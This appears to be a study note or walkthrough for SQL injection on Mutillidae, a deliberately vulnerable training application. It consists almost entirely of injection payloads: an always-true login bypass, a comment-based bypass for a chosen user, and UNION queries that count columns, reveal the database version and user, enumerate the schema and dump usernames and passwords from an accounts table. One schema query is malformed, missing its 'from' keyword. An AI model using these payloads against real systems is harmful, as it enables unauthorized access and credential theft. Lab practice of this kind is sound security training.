**Mutillidae level 0**

**SQL Queries**

**ERROR Based and BOOLEAN Based:**

**First we check it the developer used ‘ or “ for check**

\

**Get all the user details**

‘ or 5=5 -- 🡨 last line space included.

**Get particular user details**

admin’ -- 🡨 last line space included.

**Get number of columns in the table**

admin’ union select null --

admin’ union select null,null --

admin’ union select null,null,null --

admin’ union select null,null,null,null --

admin’ union select null,null,null,null,null --

admin’ union select null,null,null,null,null,null --

admin’ union select null,null,null,null,null,null,null --

admin’ union select null,null,null,null,null,null,null,null --

**Then identify which columns assigned in the page**

admin’ union select column-1,column-2,column-3,column-4,column-5,column-6,column-7 --

**Get the database\_name, database\_version and current\_user**

lourdhu’ union select null,@@version,current\_user,database(),null,null,null --

**Get the table\_name, column\_name and data\_type in the database**

lourdhu’ union select null,table\_name,column\_name,data\_type,null,null,null information\_schema.columns where table\_name=’accounts’ --

**Get the first three column data’s in the page**

‘ union select null,cid,username,password,null,null,null from accounts --

**Get the second three column data’s in the page**

‘ union select null,mysignature,firstname,lastname,null,null,null from accounts --